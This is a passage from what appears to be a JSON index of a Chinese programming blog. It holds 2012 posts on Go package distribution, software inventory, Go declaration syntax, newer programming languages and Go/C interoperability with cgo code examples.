\u0026ldquo;10.10.12.13/svn0/share/golib.svn\u0026rdquo;\n这样在/home/tonybai/goworkspace1下就会出现10.10.12.13/svn0/share/golib.svn目录结构。我 们在代码中可以直接import对应的包，比如import \u0026ldquo;10.10.12.13/svn0/share/golib.svn/assert\u0026rdquo;。\n通过对get命令特性的了解，我们也可以确定分发的代码包到底应该如何组织。从上面的例子我们可以看出我们分发的代码包结构不需很复杂，直接在库的 repository下建立包目录即可，比如上面例子中库repository为golib，assert就是直接建立在下面的目录，同时也是包名。\ngo get可自动识别http_proxy环境变量，这样Go也可以通过代理获取外部代码包。\n使用外部代码包的项目可以通过go get -u url来更新代码包版本为最新版本。\n","permalink":"https://tonybai.com/2012/10/25/go-package-distributing/","summary":"\u003cp\u003e\u003ca href=\"http://golang.org/\"\u003eGo语言\u003c/a\u003e目前(截至1.0.2版本)尚不支持直接链接.a文件(这里的.a文件指的不是传统静态共享库，而是对golang的非main包build后的产物)。这样一来Go的第三方库包或组织内部的公共代码库包只能以源码的形式分发了。\u003c/p\u003e\n\u003cp\u003eGo提供了get命令用于获取他人分发的代码包。我们通过get命令既可以获取一些知名代码托管站点上的代码，也可以获取组织内部版本控制服务器上的公共代码。\u003c/p\u003e","title":"也谈Go语言代码包分发"},{"content":"近期产品线出现这样一个“怪现象”：许多已经完成编码并具备提交给测试组的版本没有测试人员对应。测试部那边给出的策略是：按版本优先级从高到低依次测 试。这样一来一些重要版本需要到3个月甚至更长时间之后才能开始测试。可以肯定这种现象是生产环节的一个问题，但用什么理论去解释和分析这个问题呢？我想 到了“库存” – 软件库存。\n《Joel说软件》的那个Joel曾写过一篇名为《软件库存》的文章，也正是看了那篇文章后，我才第一次了解到软件库存这个概念。库存似乎是传统制造业中 的一个概念，但软件开发其实也是广义产品生产的一种，虽然有其特殊性，因此有些产品制造方面的理论是可以应用于软件生产过程中的，软件库存就是其中之一。\n传统制造业的库存较为容易理解，零件、原材料、半成品以及未卖出去的最终产品这些都可以理解为库存。而软件生产中的库存都包含哪些内容和环节呢？一旦形成库存，利弊又有哪些呢？\n* 未纳入开发的需求/特性\n这里所说的需求/特性是经过决策后将来要开发的且能带来价值的，而不是为了大而全而滥芋充数的那种。这类需求/特性可理解为已经采购并存放在库中尚未投入 生产的原料库存。这类库存如果变得很大，则很可能说明产品市场场景甚好，但也可能是现有的生产能力出现了不足；如果这块库存过小或没有，则会导致后期开工 不足，或者说产品的持续成长前景黯淡，市场对其的需求也不乐观了，组织对此情况应做出迅速反应。\n* 已经开发完毕但未经测试的半成品\n开发人员开始投入，根据需求/特性疯狂编码、单元测试，生产出未经专业测试的半成品。这些半成品因其中潜在的许多缺陷而不能作为最终商品投放市场，因此无 法收回成本并赚取利润。一旦这个环节形成库存，则说明后续质量验证环节的生产能力与软件开发环节的生产能力出现了不匹配，这将导致版本中的问题不能尽快地 暴露，使得问题流向其他版本或其他系统中，直到测试开始后才能发现，后续要花费更多的工作量做关联的修正。这也是我所在产品线所遇到的棘手问题，唯一的方 法就是提高质量验证环节的生产能力，至于如何提高，因地制宜，这里不表。而较小的库存或这个环节无库存，也会导致后续质量验证环节的开工不足，或衔接出现 节奏性的问题。\n* 未上市或未卖出的成品\n当产品顺利通过质量检测部门的测试后，便可正式发布，变成最终产品- 成品，交付到最终用户那里。但如果这个环节出现库存，问题将变得严重得多。要么是前期市场估计过于乐观，要么是行销人员不给力，要么则是生产过剩，没有做 好库存管理等等。如果这个环节库存过小，则最终客户依旧无法及时得到产品，不利于保持客户粘性，客户很可能退而求其次，选择其他厂商的产品了。\n以上简要分析既提到了不能忽视库存的存在，也说到了无库存的危害。传统制造行业一直在追求着一种“零库存”的概念，所谓“零库存”，是指物料（包括原材 料、半成品和产成品等） 在采购、生产、销售、配送等一个或几个经营环节中，不以仓库存储的形式存在，而均是处于周转的状态。它并不是指以仓库储存形式的某种或某 些物品的储存数量真正为零，而是通过实施特定的库存控制策略，实现库存量的最小化。在软件生产领域也可借鉴这一概念，在各个环节努力维持合理且适当的库 存，这对整个生产过程是大有裨益的。\n可以看出“零库存”的一个精要就是及时收回产品的投资，获得利润，保持生产过程的持续有效进行。这让我想到了当今软件过程的演化：从最初的瀑布过程到目前 流行的迭代和敏捷等过程，以及流行的持续交付等概念，它们似乎都是在追求“零库存”，追求快速回流价值。或者说库存理论潜在地催生了敏捷、持续交付等概念 的迅速发展，并让人们看到其中的裨益所在。\n","permalink":"https://tonybai.com/2012/10/22/thoughts-on-software-inventory/","summary":"\u003cp\u003e近期产品线出现这样一个“怪现象”：许多已经完成编码并具备提交给测试组的版本没有测试人员对应。测试部那边给出的策略是：按版本优先级从高到低依次测 试。这样一来一些重要版本需要到3个月甚至更长时间之后才能开始测试。可以肯定这种现象是生产环节的一个问题，但用什么理论去解释和分析这个问题呢？我想 到了“库存” – 软件库存。\u003c/p\u003e","title":"由一个软件库存问题想到的"},{"content":"一直在从事C语言服务端应用开发，对C的变量声明语法早已烂熟于胸，同时也深知复杂的C变量声明十分晦涩难解。记得若干年前还特意花了一些时间研究理解复 杂C变量声明的方法，记忆中这些方法包括：《C专家编程》中提到的“优先级”规则、right-left规则以及顺时针/螺旋形规则等，幸运地是我们日常 开发中少有使用极为复杂的变量声明(如void (*signal (int signo, void (*func) (int)))(int);)，但C语言中这一难点却是事实存在的。\n对于我这样的习惯了C变量声明语法的程序员来说，Go的变量声明语法显得极端另类，完全与C语言反其道而行之，心中不由产生一丝厌恶。但随着对Go学习和 使用的深入，我逐渐发现Go的这种声明语法在不经意间解决了复杂声明的理解问题，你无需学习什么\u0026quot;优先级\u0026quot;规则，也无需理会什么“right-left” 规则，你只需按从左到右的顺序阅读代码，再复杂的变量声明也可以很轻易地理解。\nGo语言为何要采用这种倒序语法呢？Go的设计者Rob Pike的一篇介绍Go声明语法的文章给出了答案，其中谈到了Go声明语法的设计考量。Go的设计者从C体系之外的语言获得启发：将变量名放在签名，类型说明放在后 面。这样更接近于自然语言，例如：\nx: int\np: pointer to int\na: array[3] of int\nb: slice of int\n在此基础上，Go的设计者用*、[]等符号替换掉上面的冒号和部分关键字使得声明变得短小，也就形成了Go的声明语法：\nvar x int\nvar p *int\nvar a [3]int\nvar b []int\n我们只需从左向右的顺序阅读代码，即可清晰的理解声明的含义，而不需要像C声明语法那样左右符号都要兼顾，螺旋理解。这里面的*、[n]和[]的含义如下：\n_*_some_type：读作 pointer to some_type\n_[n]_some_type： 读作 array[n] of some_type\n_[]_some_type： 读作 slice of some_type\n下面我们通过Go与C的对比来进一步理解Go的声明语法。\n简单变量声明\nC Golang\nint x; \u0026lt;–\u0026gt; var x int //x has the type int\nfloat x; \u0026lt;–\u0026gt; var x float64 //x has the type float64\nchar c; \u0026lt;–\u0026gt; var c byte //x has the type byte\n指针变量声明\nC Golang\nint *x; \u0026lt;–\u0026gt; var x *int //x is a pointer to int\nint **p; \u0026lt;–\u0026gt; var p **int //p is a pointer to pointer to int\n数组/切片变量声明\nC Golang\nint a[5]; \u0026lt;\u0026ndash;\u0026gt; var a [5]int //a is an array[5] of int\nint a[5][3]; \u0026lt;\u0026ndash;\u0026gt; var a [5][3]int //a is an array[5] of array[3] of int\nvar s []int //s is a slice of int(C语言中无slice类型)\n函数类型变量声明\nC Golang\nint (*x)(int, int) 类似于 var x func(int, int) int // x has the type \u0026ldquo;func(int, int) int\u0026rdquo;\nGo中函数为first-class类型，其类型的变量等同于C中的函数指针。\n复合声明**(复杂声明)**\nC Golang\nint *x[5]; \u0026lt;\u0026ndash;\u0026gt; var x [5]*int //x is an array[5] of pointer to int\nint (*x[5])(int, int) 类似于 var x [5]func(int, int) int // x is an array[5] of \u0026ldquo;func(int, int) int\u0026rdquo;\nvar f func(func(int,int) int, int) func(int, int) int //f has the type \u0026ldquo;func(func(int,int) int, int) func(int, int) int\u0026rdquo;，这是一个函数类型变量，这个函数类型接收三个参数(其中一个参数是func(int, int)函数类型)，并返回另外一个函数类型(func(int, int) int)。\nvoid (*signal (int signo, void (*Afunc) (int))) 类似于 var signal func(signo int, Afunc func(int))\n有了上面的例子,signal就无需再作解释了，Go的声明语法可以让我们可以很容易的理解复杂的变量声明。但从可读性角度来看较长的声明依旧不利于代码理解。因此我们还是应该通过type定义一些新类型的方式尽量缩短变量声明的长度，例如：\ntype Handler func(int)\ntype SignalHandler func(signo int, handler Handler)\nvar signal SignalHandler\n","permalink":"https://tonybai.com/2012/10/11/understanding-go-declaration-syntax/","summary":"\u003cp\u003e一直在从事C语言服务端应用开发，对C的变量声明语法早已烂熟于胸，同时也深知复杂的C变量声明十分晦涩难解。记得若干年前还特意花了一些时间研究理解复 杂C变量声明的方法，记忆中这些方法包括：《C专家编程》中提到的“\u003ca href=\"http://tonybai.com/2006/03/26/understand-priority-rule-for-parse-c-declaration/\"\u003e优先级\u003c/a\u003e”规则、\u003ca href=\"http://tonybai.com/2005/08/09/an-explanation-of-complex-c-declaration/\"\u003eright-left规则\u003c/a\u003e以及\u003ca href=\"http://c-faq.com/decl/spiral.anderson.html\"\u003e顺时针/螺旋形规则\u003c/a\u003e等，幸运地是我们日常 开发中少有使用极为复杂的变量声明(如void (*signal (int signo, void (*func) (int)))(int);)，但C语言中这一难点却是事实存在的。\u003c/p\u003e","title":"也谈Go语言声明语法"},{"content":"近期看到一则新闻，说是Microsoft推出了一门开源的编程语言叫TypeScript，该Project的主要负责人是大名鼎鼎的Anders Hejlsberg，就是那个Turbo Pascal 、Delphi以及C#之父。结合近几年来出现的颇受关注的其他几门编程语言，如Go、Rust、Dart等，让我感觉到编程语言似乎进入了\u0026quot;拼爹\u0026quot;时代。\n我们来列举一下这几门新兴语言的“老爹”(设计者)：\n* Go语言 – Robert Griesemer、Rob Pike和Ken Thompson。\n这里最著名也最NB的当属Ken Thompson，Unix之父，并与Dennis Ritchie一起创造了最伟大的工业编程语言C，图灵奖得主。Rob Pike也是Bell Labs元老，Unix和Plan 9计划的参与者，Limbo语言的设计者之一。至于Robert Griesemer名气似乎小一些，我也不甚熟悉。不过有了前两位，想必Golang就会有足够的号召力了。\n* Rust语言 – 来自著名的Mozilla Lab，其主要设计者包括Brendan Eich，Dave Herman以及Graydon Hoare。其中Brendan Eich是JavaScript语言之父。\n* Dart语言 – 这门语言的最初两个设计者Lars Bak和Kasper Lund似乎并不著名，但这门语言背后有一个更大的后台，那就是在互联网搜索时代叱诧风云的Google公司。凭借着Google的号召力，围绕在这门语 言周围的Fans也应该为数不少。再考虑这门语言旨在替代JavaScript成为新Html5标准下主力Web开发语言的目标，Dart受到的关注一定 不少。\n这里再顺便回顾一下编程语言发展的几个历史时期(个人的一点拙见)。\n* 结构化时代\n20世纪六七十年代，以C、Fortran、Pascal、Basic为代表的结构化程序设计语言的诞生，标志着编程语言进入了结构化时代。人们逐渐脱离 生产效率低下的汇编，而转移到中级/高级语言行列。最终C以其Unix平台语言的身份胜出，并以其简洁高效的生成代码在二十世纪末期在嵌入式领域独占鳌 头。\n* OO时代\n随着人们的关注点逐渐向问题域转移，人们迫切需要一门能对现实问题进行更好抽象的语言。面向对象语言逐渐进入人们的视野。代表语言包括C++、Ada、 Delphi、Java以及C#等。C++和Delphi因其卓越的性能以及不熟的IDE支持，在桌面程序设计领域(包括PC游戏领域)成为主角。 Java则在企业应用兴起后逐渐发展壮大，最终成为OO时代的No.1。\n* Web时代\n随着全球互联网时代的到来，诸多Web语言走到了前台，代表语言包括PHP、JavaScript、ASP等，另外一些轻巧且生产高效的脚本语言也开始被 大家所青睐，它们既能轻松完成系统管理的任务又支持Web开发，这其中的代表语言包括：Perl、Python、Ruby、Lua等。\n* 新时代\n这里暂且叫作新时代，这个时代有几个特点：\n传统语言不断翻新，融入新特性\nC和C++于今年发布了C11标准；Java也给出了JDK8规范的发布时间表。在新标准中，这些传统语言也加入了一些适宜这个时代开发的新特性，比如函数范式以及对多核并行程序的支持。\n终端开发语言迅速崛起\n随着iPhone和Android的迅速发展，终端开发语言逐渐壮大，最典型的代表则是Objective-C，依靠苹果公司这棵大树，与C++同时期的Objective-C仿佛坐着火箭一般迅速串升到编程语言排行榜前3甲的位置。\n函数式语言的回归\n以Common Lisp、Haskell、Erlang等为代表的函数式程序设计语言重装归来，誓与传统命令式语言一绝高下。函数式范型语言的回归意义似乎不在于占领更 大的市场，而是在于其对后续新兴编程语言的设计决策的影响，甚至像C++这样的老牌OO语言在新规范中也加入了函数式范型的支持。\n\u0026ldquo;拼爹\u0026quot;的新兴语言\n就如上面所讲的，一些传统语言的设计大师汲取之前语言的设计经验和教训后，二次出手，设计出了以Go、Rust、TypeScript等为代表的新兴语 言，并且他们的号召力对这些新兴语言有着很大的影响。这些语言站在巨人的肩膀上，获得了重新的设计，使得语言能满足未来市场对应用程序以及硬件设备的要 求。这些语言将会是未来10年乃至20年间编程领域的主力。\n目前的确是编程语言的一个新时代，更是一个百花齐放，百家争鸣的时代。作为这个时代的程序员是幸运的，因为有这么多优秀语言可供学习和选择；同时也是\u0026quot;不幸的\u0026rdquo;，有这么多语言要去学习(当然也可以不学^_^)。\n","permalink":"https://tonybai.com/2012/10/08/the-new-age-of-programming-language/","summary":"\u003cp\u003e近期看到一则新闻，说是\u003ca href=\"http://www.microsoft.com/\"\u003eMicrosoft\u003c/a\u003e推出了一门开源的编程语言叫\u003ca href=\"http://en.wikipedia.org/wiki/TypeScript\"\u003eTypeScript\u003c/a\u003e，该Project的主要负责人是大名鼎鼎的\u003ca href=\"http://en.wikipedia.org/wiki/Anders_Hejlsberg\"\u003eAnders Hejlsberg\u003c/a\u003e，就是那个\u003ca href=\"http://en.wikipedia.org/wiki/Turbo_Pascal\"\u003eTurbo Pascal\u003c/a\u003e 、\u003ca href=\"http://en.wikipedia.org/wiki/Embarcadero_Delphi\"\u003eDelphi\u003c/a\u003e以及\u003ca href=\"http://en.wikipedia.org/wiki/C_Sharp_(programming_language)\"\u003eC#\u003c/a\u003e之父。结合近几年来出现的颇受关注的其他几门编程语言，如\u003ca href=\"http://golang.org/\"\u003eGo\u003c/a\u003e、\u003ca href=\"http://www.rust-lang.org/\"\u003eRust\u003c/a\u003e、\u003ca href=\"http://en.wikipedia.org/wiki/Dart_(programming_language)\"\u003eDart\u003c/a\u003e等，让我感觉到编程语言似乎进入了\u0026quot;拼爹\u0026quot;时代。\u003c/p\u003e\n\u003cp\u003e我们来列举一下这几门新兴语言的“老爹”(设计者)：\u003c/p\u003e\n\u003cp\u003e* Go语言 – Robert Griesemer、\u003ca href=\"http://en.wikipedia.org/wiki/Rob_Pike\"\u003eRob Pike\u003c/a\u003e和\u003ca href=\"http://en.wikipedia.org/wiki/Ken_Thompson\"\u003eKen Thompson\u003c/a\u003e。\u003cbr\u003e\n这里最著名也最NB的当属Ken Thompson，Unix之父，并与\u003ca href=\"http://en.wikipedia.org/wiki/Dennis_Ritchie\"\u003eDennis Ritchie\u003c/a\u003e一起创造了最伟大的工业编程语言\u003ca href=\"http://en.wikipedia.org/wiki/C_(programming_language)\"\u003eC\u003c/a\u003e，\u003ca href=\"http://en.wikipedia.org/wiki/Turing_Award\"\u003e图灵奖\u003c/a\u003e得主。Rob Pike也是\u003ca href=\"http://en.wikipedia.org/wiki/Bell_Labs\"\u003eBell Labs\u003c/a\u003e元老，Unix和Plan 9计划的参与者，Limbo语言的设计者之一。至于Robert Griesemer名气似乎小一些，我也不甚熟悉。不过有了前两位，想必Golang就会有足够的号召力了。\u003c/p\u003e","title":"编程语言进入“拼爹”时代"},{"content":"Go有强烈的C背景，除了语法具有继承性外，其设计者以及其设计目标都与C语言有着千丝万缕的联系。在Go与C语言互操作(Interoperability)方面，Go更是提供了强大的支持。尤其是在Go中使用C，你甚至可以直接在Go源文件中编写C代码，这是其他语言所无法望其项背的。\n在如下一些场景中，可能会涉及到Go与C的互操作：\n1、提升局部代码性能时，用C替换一些Go代码。C之于Go，好比汇编之于C。\n2、嫌Go内存GC性能不足，自己手动管理应用内存。\n3、实现一些库的Go Wrapper。比如Oracle提供的C版本OCI，但Oracle并未提供Go版本的以及连接DB的协议细节，因此只能通过包装C OCI版本的方式以提供Go开发者使用。\n4、Go导出函数供C开发者使用(目前这种需求应该很少见)。\n5、Maybe more…\n一、Go调用C代码的原理\n下面是一个短小的例子：\npackage main\n// #include \u0026lt;stdio.h\u0026gt;\n// #include \u0026lt;stdlib.h\u0026gt;\n/*\nvoid print(char *str) {\nprintf(\u0026quot;%s\\n\u0026quot;, str);\n}\n*/\nimport \u0026ldquo;C\u0026rdquo;\nimport \u0026ldquo;unsafe\u0026rdquo;\nfunc main() {\ns := \u0026ldquo;Hello Cgo\u0026rdquo;\ncs := C.CString(s)\nC.print(cs)\nC.free(unsafe.Pointer(cs))\n}\n与\u0026quot;正常\u0026quot;Go代码相比，上述代码有几处\u0026quot;特殊\u0026quot;的地方：\n在开头的注释中出现了C头文件的include字样\n在注释中定义了C函数print\nimport的一个名为C的\u0026quot;包\u0026quot;\n在main函数中居然调用了上述的那个C函数-print\n没错，这就是在Go源码中调用C代码的步骤，可以看出我们可直接在Go源码文件中编写C代码。\n首先，Go源码文件中的C代码是需要用注释包裹的，就像上面的include 头文件以及print函数定义；\n其次，import \u0026ldquo;C\u0026quot;这个语句是必须的，而且其与上面的C代码之间不能用空行分隔，必须紧密相连。这里的\u0026quot;C\u0026quot;不是包名，而是一种类似名字空间的概念，或可以理解为伪包，C语言所有语法元素均在该伪包下面；\n最后，访问C语法元素时都要在其前面加上伪包前缀，比如C.uint和上面代码中的C.print、C.free等。\n我们如何来编译这个go源文件呢？其实与\u0026quot;正常\u0026quot;Go源文件没啥区别，依旧可以直接通过go build或go run来编译和执行。但实际编译过程中，go调用了名为cgo的工具，cgo会识别和读取Go源文件中的C元素，并将其提取后交给C编译器编译，最后与Go源码编译后的目标文件链接成一个可执行程序。这样我们就不难理解为何Go源文件中的C代码要用注释包裹了，这些特殊的语法都是可以被Cgo识别并使用的。\n二、在Go中使用C语言的类型\n1、原生类型\n* 数值类型\n在Go中可以用如下方式访问C原生的数值类型：\nC.char,\nC.schar (signed char),\nC.uchar (unsigned char),\nC.short,\nC.ushort (unsigned short),\nC.int, C.uint (unsigned int),\nC.long,\nC.ulong (unsigned long),\nC.longlong (long long),\nC.ulonglong (unsigned long long),\nC.float,\nC.double\nGo的数值类型与C中的数值类型不是一一对应的。因此在使用对方类型变量时少不了显式转型操作，如Go doc中的这个例子：\nfunc Random() int {\nreturn int(C.random())//C.long -\u0026gt; Go的int\n}\nfunc Seed(i int) {\nC.srandom(C.uint(i))//Go的uint -\u0026gt; C的uint\n}\n* 指针类型\n原生数值类型的指针类型可按Go语法在类型前面加上*，比如var p *C.int。而void*比较特殊，用Go中的unsafe.Pointer表示。任何类型的指针值都可以转换为unsafe.Pointer类型，而unsafe.Pointer类型值也可以转换为任意类型的指针值。unsafe.Pointer还可以与uintptr这个类型做相互转换。由于unsafe.Pointer的指针类型无法做算术操作，转换为uintptr后可进行算术操作。\n* 字符串类型\nC语言中并不存在正规的字符串类型，在C中用带结尾\u0026rsquo;\\0\u0026rsquo;的字符数组来表示字符串；而在Go中，string类型是原生类型，因此在两种语言互操作是势必要做字符串类型的转换。\n通过C.CString函数，我们可以将Go的string类型转换为C的\u0026quot;字符串\u0026quot;类型，再传给C函数使用。就如我们在本文开篇例子中使用的那样：\ns := \u0026ldquo;Hello Cgo\\n\u0026rdquo;\ncs := C.CString(s)\nC.print(cs)\n不过这样转型后所得到的C字符串cs并不能由Go的gc所管理，我们必须手动释放cs所占用的内存，这就是为何例子中最后调用C.free释放掉cs的原因。在C内部分配的内存，Go中的GC是无法感知到的，因此要记着释放。\n通过C.GoString可将C的字符串(*C.char)转换为Go的string类型，例如：\n// #include \u0026lt;stdio.h\u0026gt;\n// #include \u0026lt;stdlib.h\u0026gt;\n// char *foo = \u0026ldquo;hellofoo\u0026rdquo;;\nimport \u0026ldquo;C\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\n… …\nfmt.Printf(\u0026quot;%s\\n\u0026rdquo;, C.GoString(C.foo))\n}\n* 数组类型\nC语言中的数组与Go语言中的数组差异较大，后者是值类型，而前者与C中的指针大部分场合都可以随意转换。目前似乎无法直接显式的在两者之间进行转型，官方文档也没有说明。但我们可以通过编写转换函数，将C的数组转换为Go的Slice(由于Go中数组是值类型，其大小是静态的，转换为Slice更为通用一些)，下面是一个整型数组转换的例子：\n// int cArray[] = {1, 2, 3, 4, 5, 6, 7};\nfunc CArrayToGoArray(cArray unsafe.Pointer, size int) (goArray []int) {\np := uintptr(cArray)\nfor i :=0; i \u0026lt; size; i++ {\nj := *(*int)(unsafe.Pointer(p))\ngoArray = append(goArray, j)\np += unsafe.Sizeof(j)\n}\nreturn\n}\nfunc main() {\n… …\ngoArray := CArrayToGoArray(unsafe.Pointer(\u0026amp;C.cArray[0]), 7)\nfmt.Println(goArray)\n}\n执行结果输出：[1 2 3 4 5 6 7]\n这里要注意的是：Go编译器并不能将C的cArray自动转换为数组的地址，所以不能像在C中使用数组那样将数组变量直接传递给函数，而是将数组第一个元素的地址传递给函数。\n2、自定义类型\n除了原生类型外，我们还可以访问C中的自定义类型。\n* 枚举(enum)\n// enum color {\n// RED,\n// BLUE,\n// YELLOW\n// };\nvar e, f, g C.enum_color = C.RED, C.BLUE, C.YELLOW\nfmt.Println(e, f, g)\n输出：0 1 2\n对于具名的C枚举类型，我们可以通过C.enum_xx来访问该类型。如果是匿名枚举，则似乎只能访问其字段了。\n* 结构体(struct)\n// struct employee {\n// char *id;\n// int age;\n// };\nid := C.CString(\u0026ldquo;1247\u0026rdquo;)\nvar employee C.struct_employee = C.struct_employee{id, 21}\nfmt.Println(C.GoString(employee.id))\nfmt.Println(employee.age)\nC.free(unsafe.Pointer(id))\n输出：\n1247\n21\n和enum类似，我们可以通过C.struct_xx来访问C中定义的结构体类型。\n* 联合体(union)\n这里我试图用与访问struct相同的方法来访问一个C的union：\n// #include \u0026lt;stdio.h\u0026gt;\n// union bar {\n// char c;\n// int i;\n// double d;\n// };\nimport \u0026ldquo;C\u0026rdquo;\nfunc main() {\nvar b *C.union_bar = new(C.union_bar)\nb.c = 4\nfmt.Println(b)\n}\n不过编译时，go却报错：b.c undefined (type *[8]byte has no field or method c)。从报错的信息来看，Go对待union与其他类型不同，似乎将union当成[N]byte来对待，其中N为union中最大字段的size(圆整后的)，因此我们可以按如下方式处理C.union_bar：\nfunc main() {\nvar b *C.union_bar = new(C.union_bar)\nb[0] = 13\nb[1] = 17\nfmt.Println(b)\n}\n输出：\u0026amp;[13 17 0 0 0 0 0 0]\n* typedef\n在Go中访问使用用typedef定义的别名类型时，其访问方式与原实际类型访问方式相同。如：\n// typedef int myint;\nvar a C.myint = 5\nfmt.Println(a)\n// typedef struct employee myemployee;\nvar m C.struct_myemployee\n从例子中可以看出，对原生类型的别名，直接访问这个新类型名即可。而对于复合类型的别名，需要根据原复合类型的访问方式对新别名进行访问，比如myemployee实际类型为struct，那么使用myemployee时也要加上struct_前缀。\n三、Go中访问C的变量和函数\n实际上上面的例子中我们已经演示了在Go中是如何访问C的变量和函数的，一般方法就是加上C前缀即可，对于C标准库中的函数尤其是这样。不过虽然我们可以在Go源码文件中直接定义C变量和C函数，但从代码结构上来讲，大量的在Go源码中编写C代码似乎不是那么“专业”。那如何将C函数和变量定义从Go源码中分离出去单独定义呢？我们很容易想到将C的代码以共享库的形式提供给Go源码。\nCgo提供了#cgo指示符可以指定Go源码在编译后与哪些共享库进行链接。我们来看一下例子：\npackage main\n// #cgo LDFLAGS: -L ./ -lfoo\n// #include \u0026lt;stdio.h\u0026gt;\n// #include \u0026lt;stdlib.h\u0026gt;\n// #include \u0026ldquo;foo.h\u0026rdquo;\nimport \u0026ldquo;C\u0026rdquo;\nimport \u0026ldquo;fmt“\nfunc main() {\nfmt.Println(C.count)\nC.foo()\n}\n我们看到上面例子中通过#cgo指示符告诉go编译器链接当前目录下的libfoo共享库。C.count变量和C.foo函数的定义都在libfoo共享库中。我们来创建这个共享库：\n// foo.h\nint count;\nvoid foo();\n//foo.c\n#include \u0026ldquo;foo.h\u0026rdquo;\nint count = 6;\nvoid foo() {\nprintf(\u0026ldquo;I am foo!\\n\u0026rdquo;);\n}\n$\u0026gt; gcc -c foo.c\n$\u0026gt; ar rv libfoo.a foo.o\n我们首先创建一个静态共享库libfoo.a，不过在编译Go源文件时我们遇到了问题：\n$\u0026gt; go build foo.go\n# command-line-arguments\n/tmp/go-build565913544/command-line-arguments.a(foo.cgo2.)(.text): foo: not defined\nfoo(0): not defined\n提示foo函数未定义。通过-x选项打印出具体的编译细节，也未找出问题所在。不过在Go的问题列表中我发现了一个issue(http://code.google.com/p/go/issues/detail?id=3755)，上面提到了目前Go的版本不支持链接静态共享库。\n那我们来创建一个动态共享库试试：\n$\u0026gt; gcc -c foo.c\n$\u0026gt; gcc -shared -Wl,-soname,libfoo.so -o libfoo.so foo.o\n再编译foo.go，的确能够成功。执行foo。\n$\u0026gt; go build foo.go \u0026amp;\u0026amp; go\n6\nI am foo!\n还有一点值得注意，那就是Go支持多返回值，而C中并没不支持。因此当将C函数用在多返回值的调用中时，C的errno将作为err返回值返回，下面是个例子：\npackage main\n// #include \u0026lt;stdlib.h\u0026gt;\n// #include \u0026lt;stdio.h\u0026gt;\n// #include \u0026lt;errno.h\u0026gt;\n// int foo(int i) {\n// errno = 0;\n// if (i \u0026gt; 5) {\n// errno = 8;\n// return i – 5;\n// } else {\n// return i;\n// }\n//}\nimport \u0026ldquo;C\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\ni, err := C.foo(C.int(8))\nif err != nil {\nfmt.Println(err)\n} else {\nfmt.Println(i)\n}\n}\n$\u0026gt; go run foo.go\nexec format error\nerrno为8，其含义在errno.h中可以找到：\n#define ENOEXEC 8 /* Exec format error */\n的确是“exec format error”。\n四、C中使用Go函数\n与在Go中使用C源码相比，在C中使用Go函数的场合较少。在Go中，可以使用\u0026quot;export + 函数名\u0026quot;来导出Go函数为C所使用，看一个简单例子：\npackage main\n/*\n#include \u0026lt;stdio.h\u0026gt;\nextern void GoExportedFunc();\nvoid bar() {\nprintf(\u0026ldquo;I am bar!\\n\u0026rdquo;);\nGoExportedFunc();\n}\n*/\nimport \u0026ldquo;C\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\n//export GoExportedFunc\nfunc GoExportedFunc() {\nfmt.Println(\u0026ldquo;I am a GoExportedFunc!\u0026rdquo;)\n}\nfunc main() {\nC.bar()\n}\n不过当我们编译该Go文件时，我们得到了如下错误信息：\n# command-line-arguments\n/tmp/go-build163255970/command-line-arguments/_obj/bar.cgo2.o: In function `bar':\n./bar.go:7: multiple definition of `bar'\n/tmp/go-build163255970/command-line-arguments/_obj/_cgo_export.o:/home/tonybai/test/go/bar.go:7: first defined here\ncollect2: ld returned 1 exit status\n代码似乎没有任何问题，但就是无法通过编译，总是提示“多重定义”。翻看Cgo的文档，找到了些端倪。原来\nThere is a limitation: if your program uses any //export directives, then the C code in the comment may only include declarations (extern int f();), not definitions (int f() { return 1; }).\n似乎是// extern int f()与//export f不能放在一个Go源文件中。我们把bar.go拆分成bar1.go和bar2.go两个文件：\n// bar1.go\npackage main\n/*\n#include \u0026lt;stdio.h\u0026gt;\nextern void GoExportedFunc();\nvoid bar() {\nprintf(\u0026ldquo;I am bar!\\n\u0026rdquo;);\nGoExportedFunc();\n}\n*/\nimport \u0026ldquo;C\u0026rdquo;\nfunc main() {\nC.bar()\n}\n// bar2.go\npackage main\nimport \u0026ldquo;C\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\n//export GoExportedFunc\nfunc GoExportedFunc() {\nfmt.Println(\u0026ldquo;I am a GoExportedFunc!\u0026rdquo;)\n}\n编译执行：\n$\u0026gt; go build -o bar bar1.go bar2.go\n$\u0026gt; bar\nI am bar!\nI am a GoExportedFunc!\n个人觉得目前Go对于导出函数供C使用的功能还十分有限，两种语言的调用约定不同，类型无法一一对应以及Go中类似Gc这样的高级功能让导出Go函数这一功能难于完美实现，导出的函数依旧无法完全脱离Go的环境，因此实用性似乎有折扣。\n五、其他\n虽然Go提供了强大的与C互操作的功能，但目前依旧不完善，比如不支持在Go中直接调用可变个数参数的函数(issue975)，如printf(因此，文档中多用fputs)。\n这里的建议是：尽量缩小Go与C间互操作范围。\n什么意思呢？如果你在Go中使用C代码时，那么尽量在C代码中调用C函数。Go只使用你封装好的一个C函数最好。不要像下面代码这样：\nC.fputs(…)\nC.atoi(..)\nC.malloc(..)\n而是将这些C函数调用封装到一个C函数中，Go只知道这个C函数即可。\nC.foo(..)\n相反，在C中使用Go导出的函数也是一样。\n","permalink":"https://tonybai.com/2012/09/26/interoperability-between-go-and-c/","summary":"\u003cp\u003e\u003ca href=\"http://golang.org/\"\u003eGo\u003c/a\u003e有强烈的\u003ca href=\"http://tonybai.com/tag/c\"\u003eC\u003c/a\u003e背景，除了语法具有继承性外，其设计者以及其设计目标都与C语言有着千丝万缕的联系。在Go与C语言互操作(\u003ca 